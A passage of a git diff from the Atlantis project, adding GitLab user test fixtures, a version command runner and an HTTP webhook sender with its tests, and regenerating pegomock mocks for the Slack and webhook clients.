"auto_devops_deploy_strategy": "continuous", + "autoclose_referenced_issues": true, + "repository_storage": "default", + "approvals_before_merge": 0, + "mirror": false, + "external_authorization_classification_label": null, + "marked_for_deletion_at": null, + "marked_for_deletion_on": null, + "requirements_enabled": false, + "compliance_frameworks": [], + "permissions": { + "project_access": null, + "group_access": { + "access_level": 50, + "notification_level": 3 + } + } +} diff --git a/server/events/vcs/testdata/gitlab-user-multiple.json b/server/events/vcs/testdata/gitlab-user-multiple.json new file mode 100644 index 0000000000..dfd5373067 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-user-multiple.json @@ -0,0 +1,20 @@ +[ + { + "id": 123, + "username": "multiuser", + "name": "Multiple User 1", + "state": "active", + "locked": false, + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", + "web_url": "https://gitlab.com/multiuser" + }, + { + "id": 124, + "username": "multiuser", + "name": "Multiple User 2", + "state": "active", + "locked": false, + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/124/avatar.png", + "web_url": "https://gitlab.com/multiuser" + } +] diff --git a/server/events/vcs/testdata/gitlab-user-none.json b/server/events/vcs/testdata/gitlab-user-none.json new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-user-none.json @@ -0,0 +1 @@ +[] diff --git a/server/events/vcs/testdata/gitlab-user-success.json b/server/events/vcs/testdata/gitlab-user-success.json new file mode 100644 index 0000000000..0b87fc9e12 --- /dev/null +++ b/server/events/vcs/testdata/gitlab-user-success.json @@ -0,0 +1,11 @@ +[ + { + "id": 123, + "username": "testuser", + "name": "Test User", + "state": "active", + "locked": false, + "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", + "web_url": "https://gitlab.com/testuser" + } +] diff --git a/server/events/version_command_runner.go b/server/events/version_command_runner.go new file mode 100644 index 0000000000..08f27de8c1 --- /dev/null +++ b/server/events/version_command_runner.go @@ -0,0 +1,60 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" +) + +func NewVersionCommandRunner( + pullUpdater *PullUpdater, + prjCmdBuilder ProjectVersionCommandBuilder, + prjCmdRunner ProjectVersionCommandRunner, + parallelPoolSize int, + silenceVCSStatusNoProjects bool, +) *VersionCommandRunner { + return &VersionCommandRunner{ + pullUpdater: pullUpdater, + prjCmdBuilder: prjCmdBuilder, + prjCmdRunner: prjCmdRunner, + parallelPoolSize: parallelPoolSize, + silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, + } +} + +type VersionCommandRunner struct { + pullUpdater *PullUpdater + prjCmdBuilder ProjectVersionCommandBuilder + prjCmdRunner ProjectVersionCommandRunner + parallelPoolSize int + // SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects + // are found + silenceVCSStatusNoProjects bool +} + +func (v *VersionCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { + var err error + var projectCmds []command.ProjectContext + projectCmds, err = v.prjCmdBuilder.BuildVersionCommands(ctx, cmd) + if err != nil { + ctx.Log.Warn("Error %s", err) + } + + if len(projectCmds) == 0 { + ctx.Log.Info("no projects to run version in") + return + } + + // Only run commands in parallel if enabled + var result command.Result + if v.isParallelEnabled(projectCmds) { + ctx.Log.Info("Running version in parallel") + result = runProjectCmdsParallelGroups(ctx, projectCmds, v.prjCmdRunner.Version, v.parallelPoolSize) + } else { + result = runProjectCmds(projectCmds, v.prjCmdRunner.Version) + } + + v.pullUpdater.updatePull(ctx, cmd, result) +} + +func (v *VersionCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool { + return len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled +} diff --git a/server/events/webhooks/http.go b/server/events/webhooks/http.go new file mode 100644 index 0000000000..6f540ac154 --- /dev/null +++ b/server/events/webhooks/http.go @@ -0,0 +1,65 @@ +package webhooks + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "net/http" + "regexp" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/logging" +) + +// HttpWebhook sends webhooks to any HTTP destination. +type HttpWebhook struct { + Client *HttpClient + WorkspaceRegex *regexp.Regexp + BranchRegex *regexp.Regexp + URL string +} + +// Send sends the webhook to URL if workspace and branch matches their respective regex. +func (h *HttpWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error { + if !h.WorkspaceRegex.MatchString(applyResult.Workspace) || !h.BranchRegex.MatchString(applyResult.Pull.BaseBranch) { + return nil + } + if err := h.doSend(applyResult); err != nil { + return errors.Wrap(err, fmt.Sprintf("sending webhook to %q", h.URL)) + } + return nil +} + +func (h *HttpWebhook) doSend(applyResult ApplyResult) error { + body, err := json.Marshal(applyResult) + if err != nil { + return err + } + req, err := http.NewRequest("POST", h.URL, bytes.NewBuffer(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + for header, values := range h.Client.Headers { + for _, value := range values { + req.Header.Add(header, value) + } + } + resp, err := h.Client.Client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("returned status code %d with response %q", resp.StatusCode, respBody) + } + return nil +} + +// HttpClient wraps http.Client allowing to add arbitrary Headers to a request. +type HttpClient struct { + Client *http.Client + Headers map[string][]string +} diff --git a/server/events/webhooks/http_test.go b/server/events/webhooks/http_test.go new file mode 100644 index 0000000000..66862cf054 --- /dev/null +++ b/server/events/webhooks/http_test.go @@ -0,0 +1,127 @@ +package webhooks_test + +import ( + "net/http" + "net/http/httptest" + "regexp" + "testing" + + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/webhooks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +var httpApplyResult = webhooks.ApplyResult{ + Workspace: "production", + Repo: models.Repo{ + FullName: "runatlantis/atlantis", + }, + Pull: models.PullRequest{ + Num: 1, + URL: "url", + BaseBranch: "main", + }, + User: models.User{ + Username: "lkysow", + }, + Success: true, +} + +func TestHttpWebhookWithHeaders(t *testing.T) { + expectedHeaders := map[string][]string{ + "Authorization": {"Bearer token"}, + "X-Custom-Header": {"value1", "value2"}, + } + + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + Equals(t, r.Header.Get("Content-Type"), "application/json") + for k, v := range expectedHeaders { + Equals(t, r.Header.Values(k), v) + } + w.WriteHeader(http.StatusOK) + })) + defer server.Close() + + webhook := webhooks.HttpWebhook{ + Client: &webhooks.HttpClient{Client: http.DefaultClient, Headers: expectedHeaders}, + URL: server.URL, + WorkspaceRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + } + + err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) + Ok(t, err) +} + +func TestHttpWebhookNoHeaders(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + Equals(t, r.Header.Get("Content-Type"), "application/json") + w.WriteHeader(http.StatusOK) + })) + defer server.Close() + + webhook := webhooks.HttpWebhook{ + Client: &webhooks.HttpClient{Client: http.DefaultClient}, + URL: server.URL, + WorkspaceRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + } + + err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) + Ok(t, err) +} + +func TestHttpWebhook500(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(http.StatusInternalServerError) + })) + defer server.Close() + + webhook := webhooks.HttpWebhook{ + Client: &webhooks.HttpClient{Client: http.DefaultClient}, + URL: server.URL, + WorkspaceRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile(".*"), + } + + err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) + ErrContains(t, "sending webhook", err) +} + +func TestHttpNoRegexMatch(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + Assert(t, false, "webhook should not be sent") + })) + defer server.Close() + + tt := []struct { + name string + wr *regexp.Regexp + br *regexp.Regexp + }{ + { + name: "no workspace match", + wr: regexp.MustCompile("other"), + br: regexp.MustCompile(".*"), + }, + { + name: "no branch match", + wr: regexp.MustCompile(".*"), + br: regexp.MustCompile("other"), + }, + } + + for _, tc := range tt { + t.Run(tc.name, func(t *testing.T) { + webhook := webhooks.HttpWebhook{ + Client: &webhooks.HttpClient{Client: http.DefaultClient}, + URL: server.URL, + WorkspaceRegex: tc.wr, + BranchRegex: tc.br, + } + err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) + Ok(t, err) + }) + } +} diff --git a/server/events/webhooks/mocks/matchers/ptr_to_logging_simplelogger.go b/server/events/webhooks/mocks/matchers/ptr_to_logging_simplelogger.go deleted file mode 100644 index 04c72791bc..0000000000 --- a/server/events/webhooks/mocks/matchers/ptr_to_logging_simplelogger.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - logging "github.com/runatlantis/atlantis/server/logging" -) - -func AnyPtrToLoggingSimpleLogger() *logging.SimpleLogger { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*logging.SimpleLogger))(nil)).Elem())) - var nullValue *logging.SimpleLogger - return nullValue -} - -func EqPtrToLoggingSimpleLogger(value *logging.SimpleLogger) *logging.SimpleLogger { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *logging.SimpleLogger - return nullValue -} diff --git a/server/events/webhooks/mocks/matchers/ptr_to_slack_authtestresponse.go b/server/events/webhooks/mocks/matchers/ptr_to_slack_authtestresponse.go deleted file mode 100644 index 70d2b24c80..0000000000 --- a/server/events/webhooks/mocks/matchers/ptr_to_slack_authtestresponse.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - slack "github.com/nlopes/slack" -) - -func AnyPtrToSlackAuthTestResponse() *slack.AuthTestResponse { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*slack.AuthTestResponse))(nil)).Elem())) - var nullValue *slack.AuthTestResponse - return nullValue -} - -func EqPtrToSlackAuthTestResponse(value *slack.AuthTestResponse) *slack.AuthTestResponse { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *slack.AuthTestResponse - return nullValue -} diff --git a/server/events/webhooks/mocks/matchers/slack_postmessageparameters.go b/server/events/webhooks/mocks/matchers/slack_postmessageparameters.go deleted file mode 100644 index 93f702b39c..0000000000 --- a/server/events/webhooks/mocks/matchers/slack_postmessageparameters.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - slack "github.com/nlopes/slack" -) - -func AnySlackPostMessageParameters() slack.PostMessageParameters { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(slack.PostMessageParameters))(nil)).Elem())) - var nullValue slack.PostMessageParameters - return nullValue -} - -func EqSlackPostMessageParameters(value slack.PostMessageParameters) slack.PostMessageParameters { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue slack.PostMessageParameters - return nullValue -} diff --git a/server/events/webhooks/mocks/matchers/slice_of_slack_channel.go b/server/events/webhooks/mocks/matchers/slice_of_slack_channel.go deleted file mode 100644 index a97845a3bb..0000000000 --- a/server/events/webhooks/mocks/matchers/slice_of_slack_channel.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - slack "github.com/nlopes/slack" -) - -func AnySliceOfSlackChannel() []slack.Channel { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]slack.Channel))(nil)).Elem())) - var nullValue []slack.Channel - return nullValue -} - -func EqSliceOfSlackChannel(value []slack.Channel) []slack.Channel { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []slack.Channel - return nullValue -} diff --git a/server/events/webhooks/mocks/matchers/webhooks_applyresult.go b/server/events/webhooks/mocks/matchers/webhooks_applyresult.go deleted file mode 100644 index 5263a34dfd..0000000000 --- a/server/events/webhooks/mocks/matchers/webhooks_applyresult.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - webhooks "github.com/runatlantis/atlantis/server/events/webhooks" -) - -func AnyWebhooksApplyResult() webhooks.ApplyResult { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(webhooks.ApplyResult))(nil)).Elem())) - var nullValue webhooks.ApplyResult - return nullValue -} - -func EqWebhooksApplyResult(value webhooks.ApplyResult) webhooks.ApplyResult { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue webhooks.ApplyResult - return nullValue -} diff --git a/server/events/webhooks/mocks/mock_sender.go b/server/events/webhooks/mocks/mock_sender.go index f8aa5e5b6b..c60043fe65 100644 --- a/server/events/webhooks/mocks/mock_sender.go +++ b/server/events/webhooks/mocks/mock_sender.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" logging "github.com/runatlantis/atlantis/server/logging" "reflect" @@ -26,19 +26,19 @@ func NewMockSender(options ...pegomock.Option) *MockSender { func (mock *MockSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockSender) FailHandler() pegomock.FailHandler { return mock.fail } -func (mock *MockSender) Send(log *logging.SimpleLogger, applyResult webhooks.ApplyResult) error { +func (mock *MockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSender().") } - params := []pegomock.Param{log, applyResult} - result := pegomock.GetGenericMockFrom(mock).Invoke("Send", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{log, applyResult} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } func (mock *MockSender) VerifyWasCalledOnce() *VerifierMockSender { @@ -48,14 +48,14 @@ func (mock *MockSender) VerifyWasCalledOnce() *VerifierMockSender { } } -func (mock *MockSender) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockSender { +func (mock *MockSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSender { +func (mock *MockSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -63,7 +63,7 @@ func (mock *MockSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.M } } -func (mock *MockSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockSender { +func (mock *MockSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -73,14 +73,14 @@ func (mock *MockSender) VerifyWasCalledEventually(invocationCountMatcher pegomoc type VerifierMockSender struct { mock *MockSender - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockSender) Send(log *logging.SimpleLogger, applyResult webhooks.ApplyResult) *MockSender_Send_OngoingVerification { - params := []pegomock.Param{log, applyResult} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", params, verifier.timeout) +func (verifier *VerifierMockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) *MockSender_Send_OngoingVerification { + _params := []pegomock.Param{log, applyResult} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -89,21 +89,25 @@ type MockSender_Send_OngoingVerification struct { methodInvocations []pegomock.MethodInvocation } -func (c *MockSender_Send_OngoingVerification) GetCapturedArguments() (*logging.SimpleLogger, webhooks.ApplyResult) { +func (c *MockSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) { log, applyResult := c.GetAllCapturedArguments() return log[len(log)-1], applyResult[len(applyResult)-1] } -func (c *MockSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []*logging.SimpleLogger, _param1 []webhooks.ApplyResult) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*logging.SimpleLogger, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*logging.SimpleLogger) +func (c *MockSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(webhooks.ApplyResult) + if len(_params) > 1 { + _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(webhooks.ApplyResult) + } } } return diff --git a/server/events/webhooks/mocks/mock_slack_client.go b/server/events/webhooks/mocks/mock_slack_client.go index 1d4e39f944..f763938fe4 100644 --- a/server/events/webhooks/mocks/mock_slack_client.go +++ b/server/events/webhooks/mocks/mock_slack_client.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" "reflect" "time" @@ -29,64 +29,45 @@ func (mock *MockSlackClient) AuthTest() error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0 + return _ret0 } -func (mock *MockSlackClient) TokenIsSet() bool { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockSlackClient().") - } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("TokenIsSet", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) - var ret0 bool - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) - } - } - return ret0 -} - -func (mock *MockSlackClient) ChannelExists(channelName string) (bool, error) { +func (mock *MockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } - params := []pegomock.Param{channelName} - result := pegomock.GetGenericMockFrom(mock).Invoke("ChannelExists", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) - } - if result[1] != nil { - ret1 = result[1].(error) + _params := []pegomock.Param{channel, applyResult} + _result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) } } - return ret0, ret1 + return _ret0 } -func (mock *MockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) error { +func (mock *MockSlackClient) TokenIsSet() bool { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } - params := []pegomock.Param{channel, applyResult} - result := pegomock.GetGenericMockFrom(mock).Invoke("PostMessage", params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(error) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("TokenIsSet", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()}) + var _ret0 bool + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(bool) } } - return ret0 + return _ret0 } func (mock *MockSlackClient) VerifyWasCalledOnce() *VerifierMockSlackClient { @@ -96,14 +77,14 @@ func (mock *MockSlackClient) VerifyWasCalledOnce() *VerifierMockSlackClient { } } -func (mock *MockSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockSlackClient { +func (mock *MockSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSlackClient { +func (mock *MockSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -111,7 +92,7 @@ func (mock *MockSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegom } } -func (mock *MockSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockSlackClient { +func (mock *MockSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSlackClient { return &VerifierMockSlackClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -121,14 +102,14 @@ func (mock *MockSlackClient) VerifyWasCalledEventually(invocationCountMatcher pe type VerifierMockSlackClient struct { mock *MockSlackClient - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSlackClient) AuthTest() *MockSlackClient_AuthTest_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", params, verifier.timeout) + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "AuthTest", _params, verifier.timeout) return &MockSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -143,77 +124,54 @@ func (c *MockSlackClient_AuthTest_OngoingVerification) GetCapturedArguments() { func (c *MockSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() { } -func (verifier *VerifierMockSlackClient) TokenIsSet() *MockSlackClient_TokenIsSet_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TokenIsSet", params, verifier.timeout) - return &MockSlackClient_TokenIsSet_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockSlackClient_TokenIsSet_OngoingVerification struct { - mock *MockSlackClient - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetCapturedArguments() { -} - -func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetAllCapturedArguments() { -} - -func (verifier *VerifierMockSlackClient) ChannelExists(channelName string) *MockSlackClient_ChannelExists_OngoingVerification { - params := []pegomock.Param{channelName} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ChannelExists", params, verifier.timeout) - return &MockSlackClient_ChannelExists_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) *MockSlackClient_PostMessage_OngoingVerification { + _params := []pegomock.Param{channel, applyResult} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", _params, verifier.timeout) + return &MockSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSlackClient_ChannelExists_OngoingVerification struct { +type MockSlackClient_PostMessage_OngoingVerification struct { mock *MockSlackClient methodInvocations []pegomock.MethodInvocation } -func (c *MockSlackClient_ChannelExists_OngoingVerification) GetCapturedArguments() string { - channelName := c.GetAllCapturedArguments() - return channelName[len(channelName)-1] +func (c *MockSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, webhooks.ApplyResult) { + channel, applyResult := c.GetAllCapturedArguments() + return channel[len(channel)-1], applyResult[len(applyResult)-1] } -func (c *MockSlackClient_ChannelExists_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) +func (c *MockSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []webhooks.ApplyResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(webhooks.ApplyResult) + } } } return } -func (verifier *VerifierMockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) *MockSlackClient_PostMessage_OngoingVerification { - params := []pegomock.Param{channel, applyResult} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PostMessage", params, verifier.timeout) - return &MockSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockSlackClient) TokenIsSet() *MockSlackClient_TokenIsSet_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TokenIsSet", _params, verifier.timeout) + return &MockSlackClient_TokenIsSet_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockSlackClient_PostMessage_OngoingVerification struct { +type MockSlackClient_TokenIsSet_OngoingVerification struct { mock *MockSlackClient methodInvocations []pegomock.MethodInvocation } -func (c *MockSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, webhooks.ApplyResult) { - channel, applyResult := c.GetAllCapturedArguments() - return channel[len(channel)-1], applyResult[len(applyResult)-1] +func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetCapturedArguments() { } -func (c *MockSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []webhooks.ApplyResult) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]string, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(string) - } - _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(webhooks.ApplyResult) - } - } - return +func (c *MockSlackClient_TokenIsSet_OngoingVerification) GetAllCapturedArguments() { } diff --git a/server/events/webhooks/mocks/mock_underlying_slack_client.go b/server/events/webhooks/mocks/mock_underlying_slack_client.go index 7649d35e14..4a4bcfbbe3 100644 --- a/server/events/webhooks/mocks/mock_underlying_slack_client.go +++ b/server/events/webhooks/mocks/mock_underlying_slack_client.go @@ -4,8 +4,8 @@ package mocks import ( - slack "github.com/nlopes/slack" - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" + slack "github.com/slack-go/slack" "reflect" "time" ) @@ -29,61 +29,68 @@ func (mock *MockUnderlyingSlackClient) AuthTest() (*slack.AuthTestResponse, erro if mock == nil { panic("mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("AuthTest", params, []reflect.Type{reflect.TypeOf((**slack.AuthTestResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *slack.AuthTestResponse - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*slack.AuthTestResponse) + _params := 